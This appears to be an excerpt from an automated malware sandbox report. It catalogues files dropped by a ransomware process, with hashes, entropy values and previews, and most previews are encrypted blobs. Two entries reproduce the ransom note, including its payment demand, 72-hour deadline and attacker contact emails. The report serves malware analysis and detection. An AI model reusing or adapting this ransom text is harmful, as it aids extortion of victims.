                                                                                                                                        SHA-256:14024456C16AF22FC8841026510BB83D8141F52E47FD3E71C0D9EA31649CA2B1
                                                                                                                                        SHA-512:7BC9B30262A9FF617446FB936FAF8B9A91B3024742A7DC237D273252E067623302DA5A4E5FBE8B613A9F4FC72E028169E2DA3F9A3E0340A0CADC82BD4D07B0BE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:p.$...k3.H.^T....r)H._..V..~.....4I..%..C......N....!.!x.q5....-.....b9K/3fI..n[X...'... ...._5y..s[..`.. F...w#p.?.o.Q...[...#.b..@(.._".v.....>.......#.......... W......w.>n.B3...M]...Ko.I+...?."h....p.!FIt.E.f.r#w..MQ#...6..M......|.{P.-s.c....rQP.....N.....D9...f$.$.....E........."..e7w...->..-.>.3..... ...B.l... /\..>7r.p..d.}k......K.K...K..|.\.0...t...+.L.5..yz.F.S.1..9!.C,L..lU.....y..vt...^*m+.`..m.?.G5..)x.&...F....Nn......w..H+..~..\......&.e yBY[.l/nA.`V84.w.X..Q.9.+.$].^..|Z....D.`5....(..,.kB....v./u.@m..R..].3.@.r...........x_.m.iO.>.B.U....a;...s..^... ..R=.l.E..x$.~...P. Ik*.3..YU....$..z...Qg..X.P..~...1n...&+Y3+...o..2.L....X...L.Jg...@.......u..`.3.o/........^.@..(..'...."c.U..T..tu.m=B.w5".M*_..r...R....=p{8.Ou...L..CD:..UJ..Tt."kQ.~..y..-.5..........~.......U..z..W..;.....(..Y.^G=.f...<.ay..._.X.`M.'...nw..Tx..........$..p.>W.h.Uh....bvU........#55..m.Z.g.z..g.............t.#Nz;....:f......|J......p......._.8Y.*
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.841608305783788
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:MykGIHM/yxdesBtCvsipYNtvzZxKFz+64qJxFGAd6vb3FkqtrnmI3ggvJ:MXGIsqusBtysgYNpznwa8pdqJtrnn5J
                                                                                                                                        MD5:E8E11140A93038E7836964B8EC36E497
                                                                                                                                        SHA1:6868D93D63098EE430875525E75C693EBCC06511
                                                                                                                                        SHA-256:CD59136FE8D0788EE49A73B8BBD494D7705C20DE80F9B6E509CDAC9E63981286
                                                                                                                                        SHA-512:95C90270980C7FEC5BF7D1FF711FC602C373673DBB43CCDB396451552979F2810FFFB609C5C8A8A107FF0ECA7D5023593E2411D0CB44E6ED35759FB7201F8A70
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:S.Kk.m..3(..\.h..^...Q1....]..k....(..$cw~..._*....G.#Z.....7W.....8y...".=n`.}.(..S].?.V...q[...o>..S.....d.E...F.k0.]..r...._.i.Z.\.G>-Q.Z....`...-b.X.^g..^X........uzc.^^.Q...&...=..."..O...(..:0...Q'...._...1....V|.Y7z...?....\.....Tt.3.-.......U.e.j........~.....}..P_s....L.6.O..."..r.m[......A.........C..+...X.?x..9D....6..L.iT.-$.9..JF"..ACl..F...m;......)Ls...T.=y(a."..+...A..Dc.......~..QS..G:.|......{..............v...BO/i.|.z.|.nu.@......Mnu.7O.x|..,_s..m.Ko%2it..es..eE..Br.{..7T....EF....2.3....$.`.@xt=..*...?..*.:jeY...u..(...5......'..D.....a..w.S</v.C`f;!~f.P....8........pn.<.>...../<..]..9.'u.#....\...T.0..e.c@..8_"....^...b*...i$.+Yn.%..*d..M.)....SO}....1..Q...'.Hc...yP............[........^....lK../.d...1.......&.E..j].aZ...C....[..E...N...t...<T.+.MC..7.j.e...PF..DNGMK..mF@a..^.T...5/v...Ci.,...h*....*D.;..+.u.......&.h.d...(.$.........)}.I...b0......,........'..S[U.CL...*ADvV6..4.....*5.x...m....R./...X6.#..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.841608305783788
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:MykGIHM/yxdesBtCvsipYNtvzZxKFz+64qJxFGAd6vb3FkqtrnmI3ggvJ:MXGIsqusBtysgYNpznwa8pdqJtrnn5J
                                                                                                                                        MD5:E8E11140A93038E7836964B8EC36E497
                                                                                                                                        SHA1:6868D93D63098EE430875525E75C693EBCC06511
                                                                                                                                        SHA-256:CD59136FE8D0788EE49A73B8BBD494D7705C20DE80F9B6E509CDAC9E63981286
                                                                                                                                        SHA-512:95C90270980C7FEC5BF7D1FF711FC602C373673DBB43CCDB396451552979F2810FFFB609C5C8A8A107FF0ECA7D5023593E2411D0CB44E6ED35759FB7201F8A70
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:S.Kk.m..3(..\.h..^...Q1....]..k....(..$cw~..._*....G.#Z.....7W.....8y...".=n`.}.(..S].?.V...q[...o>..S.....d.E...F.k0.]..r...._.i.Z.\.G>-Q.Z....`...-b.X.^g..^X........uzc.^^.Q...&...=..."..O...(..:0...Q'...._...1....V|.Y7z...?....\.....Tt.3.-.......U.e.j........~.....}..P_s....L.6.O..."..r.m[......A.........C..+...X.?x..9D....6..L.iT.-$.9..JF"..ACl..F...m;......)Ls...T.=y(a."..+...A..Dc.......~..QS..G:.|......{..............v...BO/i.|.z.|.nu.@......Mnu.7O.x|..,_s..m.Ko%2it..es..eE..Br.{..7T....EF....2.3....$.`.@xt=..*...?..*.:jeY...u..(...5......'..D.....a..w.S</v.C`f;!~f.P....8........pn.<.>...../<..]..9.'u.#....\...T.0..e.c@..8_"....^...b*...i$.+Yn.%..*d..M.)....SO}....1..Q...'.Hc...yP............[........^....lK../.d...1.......&.E..j].aZ...C....[..E...N...t...<T.+.MC..7.j.e...PF..DNGMK..mF@a..^.T...5/v...Ci.,...h*....*D.;..+.u.......&.h.d...(.$.........)}.I...b0......,........'..S[U.CL...*ADvV6..4.....*5.x...m....R./...X6.#..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.826982736190212
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:VtnQdtdyjItZ0CA5mbjHZud72rYaW469PIVfcgglhAq4GLRpk/+Dg8xE5wSuI7YE:3nQdtcjItZ0CAEv4FkHW4AW0hlGqd2Dv
                                                                                                                                        MD5:1B9504BFBFA5E5C2BA0B609023D3D1AA
                                                                                                                                        SHA1:4189AA98002066B57302EE44FFA6A54678421B82
                                                                                                                                        SHA-256:DBE674CE1E846AB93E6E9A24EAF8AACB7E82B7F460E3354C9056196924941E5A
                                                                                                                                        SHA-512:B39297C90C3F0873602559DE3FF92FF394F14045BAFE95558975B9183411C42EB524B044A8DF7B27E950109E4FF768E3CFC35DAC40BC8D5A77D9972C10C1B64A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.1SB.T...?.0.....;..1.~..".H.us.H.-......d.O...:...t...s.R.O.>....{.|.Gc.D..B..n.'W1....4...Bt.G...[...x.=i?|P...461..c.bm#...5v..j.4Z{....(XX..LK.ek.r.....c...%.>q..'.$.,.l..l.2...[....I..O.Z.*.`.X1..~G7u.#E.d..qv..T.h..6.J.m...\=.....oD3D....i..nPE....@.Y....E...:.%.>.l..a...!>$<........v...^w..f6T.-..p..N...A@V'......P... CsZMU.7.k`...5.tI...qAu..Al.&?.<.`_..$}....4.w.0.a..69..Y.{.......Zz.-Uy.S..x.!......}.{om[.<.(.w.....d.._nY.......P.8.>....S]..} .... .@R.4q...w ....i|F.'..d..C..v..u.=.......Y..?d.....J.J......m.....4-.`.V(`.Q.....e.....?O.(C..=R.....b..V..@V>......=...h...k..i..[......^..cv.?.O...R_..u.."<M.i..-St|..4......f..>..z..^'.....).z5;....l9.$.tE5j....L.#....{.....g...B.5...:.b....<.xU......*.U..qz.ib..S.nO....r2..E.|.<?.....{.w.C...j..r...|..U..0....mEq......e?..}.zl|..N..:`...CVI~..CQ.o...%...{.})!..E3.e#J-.......U.......U.f.E.1.2fc.......t}.7..w\...GZ.&.y]Sl..?...O..FD..,]Q...k..R.*.1c4..v...E.VJ/.....:0........Z.@....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.826982736190212
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:VtnQdtdyjItZ0CA5mbjHZud72rYaW469PIVfcgglhAq4GLRpk/+Dg8xE5wSuI7YE:3nQdtcjItZ0CAEv4FkHW4AW0hlGqd2Dv
                                                                                                                                        MD5:1B9504BFBFA5E5C2BA0B609023D3D1AA
                                                                                                                                        SHA1:4189AA98002066B57302EE44FFA6A54678421B82
                                                                                                                                        SHA-256:DBE674CE1E846AB93E6E9A24EAF8AACB7E82B7F460E3354C9056196924941E5A
                                                                                                                                        SHA-512:B39297C90C3F0873602559DE3FF92FF394F14045BAFE95558975B9183411C42EB524B044A8DF7B27E950109E4FF768E3CFC35DAC40BC8D5A77D9972C10C1B64A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.1SB.T...?.0.....;..1.~..".H.us.H.-......d.O...:...t...s.R.O.>....{.|.Gc.D..B..n.'W1....4...Bt.G...[...x.=i?|P...461..c.bm#...5v..j.4Z{....(XX..LK.ek.r.....c...%.>q..'.$.,.l..l.2...[....I..O.Z.*.`.X1..~G7u.#E.d..qv..T.h..6.J.m...\=.....oD3D....i..nPE....@.Y....E...:.%.>.l..a...!>$<........v...^w..f6T.-..p..N...A@V'......P... CsZMU.7.k`...5.tI...qAu..Al.&?.<.`_..$}....4.w.0.a..69..Y.{.......Zz.-Uy.S..x.!......}.{om[.<.(.w.....d.._nY.......P.8.>....S]..} .... .@R.4q...w ....i|F.'..d..C..v..u.=.......Y..?d.....J.J......m.....4-.`.V(`.Q.....e.....?O.(C..=R.....b..V..@V>......=...h...k..i..[......^..cv.?.O...R_..u.."<M.i..-St|..4......f..>..z..^'.....).z5;....l9.$.tE5j....L.#....{.....g...B.5...:.b....<.xU......*.U..qz.ib..S.nO....r2..E.|.<?.....{.w.C...j..r...|..U..0....mEq......e?..}.zl|..N..:`...CVI~..CQ.o...%...{.})!..E3.e#J-.......U.......U.f.E.1.2fc.......t}.7..w\...GZ.&.y]Sl..?...O..FD..,]Q...k..R.*.1c4..v...E.VJ/.....:0........Z.@....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.854367883880674
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:I9DdQv1N+aDEtdEs+9M4Cn7dypLxlUjwVtO0mVptyWMuNC6j:I9DANhoyt9edulUs9mPHB
                                                                                                                                        MD5:5B11E722E05A93F00A22330670CD4557
                                                                                                                                        SHA1:073457100C4C6DBB169BB92746DE8B120E69FAD9
                                                                                                                                        SHA-256:61E907E807DC71D7F9A5F6530C29881824D26D95724B11C4BB49DFD39CA1C454
                                                                                                                                        SHA-512:CC809F8FD42256D9AD3AF413C5812E2F36CCC0C7B1AFC9808BE596E7D5A1003889EC09043D7EF84D68CB9C10F12AC99FB84D2B5561A6D0ABBCA80A13818607DB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ib...%..3..t.}......._..d.R..(.7....yG....c......*..G.....3u....Rq}..e.TQ..M....,"_..]....m.ZQ...1..0C_.CQ>..`.Z..../KU..<...&../N.m.......,.uf...^..e.N}.....7;.lFZ.PIF..4...+iP...f.DCc\..K..p...C...2.1.@.........2."...<c..&.g.}.:EM.b.J...\...k2.i.|..oY*.C.Y..T....K....+F.v(:.......w..:...Z7*.p..&0.;.......Y...i.tWa..rg.3Q>Y.....".u.......k.`.....g......#......Z.. ..<b.....X..~..E....M!C..........Am..../.7..s..-HN..1c...82f..|....\...0VyP.?c.'..Z.g.r..l./.........K1..m..X.W;Dq...T0C..|;.w...........[.F~#....P}@_...Hq.7$y.N...?..~.......5....OR.@.]..Tb`"....8..<...k.......N]..W.L #:. .E.=O.rMD..v'.C..Fc.....[k.`7...C`."s.....Z...e....o..v..UR..fl..J.JF.Y..,.KMW.{r....7...w&.Z8.24...u.y.4.4.....H...8...A|..".....1z...w.o..i$.2......X.c..?,S..QX.....4!E.....=......&..!...&0 -.).Ui..X.h.J..q.HKg..7.w..C...".........k..;m.H..#..........G?.3...1...3,+@."....H..........phg9.2qf..1.3...&.....e...q..).|_......6h.?...1+.2K..{Ko..Q8/^...!.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.854367883880674
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:I9DdQv1N+aDEtdEs+9M4Cn7dypLxlUjwVtO0mVptyWMuNC6j:I9DANhoyt9edulUs9mPHB
                                                                                                                                        MD5:5B11E722E05A93F00A22330670CD4557
                                                                                                                                        SHA1:073457100C4C6DBB169BB92746DE8B120E69FAD9
                                                                                                                                        SHA-256:61E907E807DC71D7F9A5F6530C29881824D26D95724B11C4BB49DFD39CA1C454
                                                                                                                                        SHA-512:CC809F8FD42256D9AD3AF413C5812E2F36CCC0C7B1AFC9808BE596E7D5A1003889EC09043D7EF84D68CB9C10F12AC99FB84D2B5561A6D0ABBCA80A13818607DB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ib...%..3..t.}......._..d.R..(.7....yG....c......*..G.....3u....Rq}..e.TQ..M....,"_..]....m.ZQ...1..0C_.CQ>..`.Z..../KU..<...&../N.m.......,.uf...^..e.N}.....7;.lFZ.PIF..4...+iP...f.DCc\..K..p...C...2.1.@.........2."...<c..&.g.}.:EM.b.J...\...k2.i.|..oY*.C.Y..T....K....+F.v(:.......w..:...Z7*.p..&0.;.......Y...i.tWa..rg.3Q>Y.....".u.......k.`.....g......#......Z.. ..<b.....X..~..E....M!C..........Am..../.7..s..-HN..1c...82f..|....\...0VyP.?c.'..Z.g.r..l./.........K1..m..X.W;Dq...T0C..|;.w...........[.F~#....P}@_...Hq.7$y.N...?..~.......5....OR.@.]..Tb`"....8..<...k.......N]..W.L #:. .E.=O.rMD..v'.C..Fc.....[k.`7...C`."s.....Z...e....o..v..UR..fl..J.JF.Y..,.KMW.{r....7...w&.Z8.24...u.y.4.4.....H...8...A|..".....1z...w.o..i$.2......X.c..?,S..QX.....4!E.....=......&..!...&0 -.).Ui..X.h.J..q.HKg..7.w..C...".........k..;m.H..#..........G?.3...1...3,+@."....H..........phg9.2qf..1.3...&.....e...q..).|_......6h.?...1+.2K..{Ko..Q8/^...!.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.846414018051761
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:VwllTFoP+VDV/6kAwPbinkLl0voAAF+Ydbw+uUhQZKy+HI9:VaMIVrPbiMOvoAVYdbfFhm9
                                                                                                                                        MD5:880CF0348AABBE77B0927FF09EDF4025
                                                                                                                                        SHA1:E9C5024317009E9B1BD6BF01DA7C9D7A7A09F644
                                                                                                                                        SHA-256:A1CBF14A24C503DF4B0BBA67BDE019FA5A3192D8363A7D0510DBA584FB25D61E
                                                                                                                                        SHA-512:BE71C21F59FD03742CE475C7DCD267CA16712A9F39A1F20DF23049F58BA53699A591DEAFD496B18F535B26CE3A7F7BEF348FA454F5AE8A1E140EC8783AF5DBF4
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...x.....Z] .....&.G>.L3w... o.....R.0..,..h..5.Q......Z......l.!wE...,..4T2=......@..%.D8{s...\5.M.....J..E6zW...d......cK.3....8.M.F..!2e.._...M[..FVE....fe.........W...;.W#}2.0A#/...r.....b...b..*:.".rW.BH%...`Do.?....Z......<t..!.~n.].m~r.s [. z. .[....y.2.$.2.r.^....+.O.".X......a_..../b;...6.G.....5.kd|...L._....;..L"..3..GX.v.\|/Un...>.Xj....o`U.zJ..HIJ7.j.5...g.1.3M..V...M<.:..b.`oo..~.l.....8.....|....{..DC.....50.D.e{P...g..9.O3m1..._...g.O.K..8Q.%.w..K..I..w...3(#.f...;.fX...X...l.;....@}...I.O..lJC....4.k.."^d.a......W...Gk.#.'..a..Z.M....*% .\..<B....eEl.."~...*H...4..." .AL.k.....V.....V<.=U.k..~.RZL.t.....Y...sR..!.JiK...RB.....Y..`..._..Yz..1^.*>&..1.k..tr}R^.9...F.if.IW^.....:..k....uq...e.....3T`...+...vU.kp..;~. #.q......P.s.ZKVb..M.h.II0..o[>J>.......B^I....x.bB...J....."b.M]F...TG....l1...R.P|...=.+.....p%.....".%E.#F.F.....Q(\......8$3...........^Uf.`t...o?.?.....w..A...S.......^S.c...b.iO.!..Q..Y)#LK......W...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.846414018051761
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:VwllTFoP+VDV/6kAwPbinkLl0voAAF+Ydbw+uUhQZKy+HI9:VaMIVrPbiMOvoAVYdbfFhm9
                                                                                                                                        MD5:880CF0348AABBE77B0927FF09EDF4025
                                                                                                                                        SHA1:E9C5024317009E9B1BD6BF01DA7C9D7A7A09F644
                                                                                                                                        SHA-256:A1CBF14A24C503DF4B0BBA67BDE019FA5A3192D8363A7D0510DBA584FB25D61E
                                                                                                                                        SHA-512:BE71C21F59FD03742CE475C7DCD267CA16712A9F39A1F20DF23049F58BA53699A591DEAFD496B18F535B26CE3A7F7BEF348FA454F5AE8A1E140EC8783AF5DBF4
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...x.....Z] .....&.G>.L3w... o.....R.0..,..h..5.Q......Z......l.!wE...,..4T2=......@..%.D8{s...\5.M.....J..E6zW...d......cK.3....8.M.F..!2e.._...M[..FVE....fe.........W...;.W#}2.0A#/...r.....b...b..*:.".rW.BH%...`Do.?....Z......<t..!.~n.].m~r.s [. z. .[....y.2.$.2.r.^....+.O.".X......a_..../b;...6.G.....5.kd|...L._....;..L"..3..GX.v.\|/Un...>.Xj....o`U.zJ..HIJ7.j.5...g.1.3M..V...M<.:..b.`oo..~.l.....8.....|....{..DC.....50.D.e{P...g..9.O3m1..._...g.O.K..8Q.%.w..K..I..w...3(#.f...;.fX...X...l.;....@}...I.O..lJC....4.k.."^d.a......W...Gk.#.'..a..Z.M....*% .\..<B....eEl.."~...*H...4..." .AL.k.....V.....V<.=U.k..~.RZL.t.....Y...sR..!.JiK...RB.....Y..`..._..Yz..1^.*>&..1.k..tr}R^.9...F.if.IW^.....:..k....uq...e.....3T`...+...vU.kp..;~. #.q......P.s.ZKVb..M.h.II0..o[>J>.......B^I....x.bB...J....."b.M]F...TG....l1...R.P|...=.+.....p%.....".%E.#F.F.....Q(\......8$3...........^Uf.`t...o?.?.....w..A...S.......^S.c...b.iO.!..Q..Y)#LK......W...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8612554275221465
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:rvuDqnsnatKFbuZoEMSpVj8gFFfNyLjsLcaO9vRPc128p/AkW:rvuD1avZPMmN8gFOLj6t2A/A9
                                                                                                                                        MD5:C44765E7DE6C8A1BB31DFF9C3D8275C0
                                                                                                                                        SHA1:94384E4AEC0B264E691155D7E8049A1E011F690F
                                                                                                                                        SHA-256:324461E7F31B9A4517B422038BFF1C62AD1A1631A18D1DA8BF730B14E230CE77
                                                                                                                                        SHA-512:4318BC9742466E488510E68D1DA4BF608274ECF6B6F9272F17D513C8E8ABA8B3DC6E5B6A8C67E9895E58BA67D96050AC6176F05C9D768175B64DBC166E872009
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...|.o?....D..{....sJY...)..]....AY...b.q....}Vp.V.m.8...9{e<...v.K...&.'...HJ.Uo....z.....13.%......q..v.$4'0..I.#Iz.$..0/./..L..i5...9Ci....Sa..X;....~..e.-u..y..M.....t..=..i..... 4X..db._{...w...V.;x..U..(.......R...|...?..]y..b5..dOt2..F.....M..PN.A..m.].Z......_8....R.=..'>cF.Y.*..<J.a.]G.du.C.1h.......R.D<.F_.....[..!.U.[.$.;8..}............J...J.W.JLa)..R.Pf...y7.d../.....|..O.[.;.+0..........]...|.Gz....>j...&.nQ.:.R(Rie.N......;..>pp..To.8....+..ld.k../.b...H<....@.......a~<su..v..v.....><...o.!....1.....O.v.3..N.1.....~AT,...H...4.{...L\...."....y.....l,.u.m....S..h......e.=.?X.p.......LZ....qK/2.^.9{)F....@..8........[.{.\.e..?.O.R.5..[........ .@....o....u.|....l,J,L.^..I...};~..+...(}}UU... &..tD.b.....{.]..E...j.u..u........@........sX..s....f.m.l....r[..*x....].. ....4B"7.W.g.?..t#%........X.&..\..?.;....M?..L.od.LK.b.....eTn....0..b..,.|..T{...M..M.+..r#.n...m^...@......i:...a*..!.@.2%..:..(....F.^.nhT....&
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8612554275221465
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:rvuDqnsnatKFbuZoEMSpVj8gFFfNyLjsLcaO9vRPc128p/AkW:rvuD1avZPMmN8gFOLj6t2A/A9
                                                                                                                                        MD5:C44765E7DE6C8A1BB31DFF9C3D8275C0
                                                                                                                                        SHA1:94384E4AEC0B264E691155D7E8049A1E011F690F
                                                                                                                                        SHA-256:324461E7F31B9A4517B422038BFF1C62AD1A1631A18D1DA8BF730B14E230CE77
                                                                                                                                        SHA-512:4318BC9742466E488510E68D1DA4BF608274ECF6B6F9272F17D513C8E8ABA8B3DC6E5B6A8C67E9895E58BA67D96050AC6176F05C9D768175B64DBC166E872009
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...|.o?....D..{....sJY...)..]....AY...b.q....}Vp.V.m.8...9{e<...v.K...&.'...HJ.Uo....z.....13.%......q..v.$4'0..I.#Iz.$..0/./..L..i5...9Ci....Sa..X;....~..e.-u..y..M.....t..=..i..... 4X..db._{...w...V.;x..U..(.......R...|...?..]y..b5..dOt2..F.....M..PN.A..m.].Z......_8....R.=..'>cF.Y.*..<J.a.]G.du.C.1h.......R.D<.F_.....[..!.U.[.$.;8..}............J...J.W.JLa)..R.Pf...y7.d../.....|..O.[.;.+0..........]...|.Gz....>j...&.nQ.:.R(Rie.N......;..>pp..To.8....+..ld.k../.b...H<....@.......a~<su..v..v.....><...o.!....1.....O.v.3..N.1.....~AT,...H...4.{...L\...."....y.....l,.u.m....S..h......e.=.?X.p.......LZ....qK/2.^.9{)F....@..8........[.{.\.e..?.O.R.5..[........ .@....o....u.|....l,J,L.^..I...};~..+...(}}UU... &..tD.b.....{.]..E...j.u..u........@........sX..s....f.m.l....r[..*x....].. ....4B"7.W.g.?..t#%........X.&..\..?.;....M?..L.od.LK.b.....eTn....0..b..,.|..T{...M..M.+..r#.n...m^...@......i:...a*..!.@.2%..:..(....F.^.nhT....&
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.848016635133851
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:KgGUymBcHkid6F9t9TMJJ/qEf6V5IQ1iO8dCvAFvFtgMH5zIH0S0F9cSugOP:FGUymBJcqzMDq+6wgtvGtL5z/SQ/EP
                                                                                                                                        MD5:7F331444327D1C6DF38B9588B52F8617
                                                                                                                                        SHA1:48F7E70BFFFFDD28F6F7BAD70C017D332299B1B0
                                                                                                                                        SHA-256:C9520BFDB8E19E0D42A19FC09B8BE4C9E922BD5AD329AB018B0DD41E9FE27C0F
                                                                                                                                        SHA-512:F313B6F74B2700CFD49750930C4AC0BE5211D848DEF16891E24CB1BED42872F9F7B24EC71BF4933B04E6F4D83F7EA68723C18A8EFB7207FF90A169078C9052F3
                                                                                                                                        Malicious:true
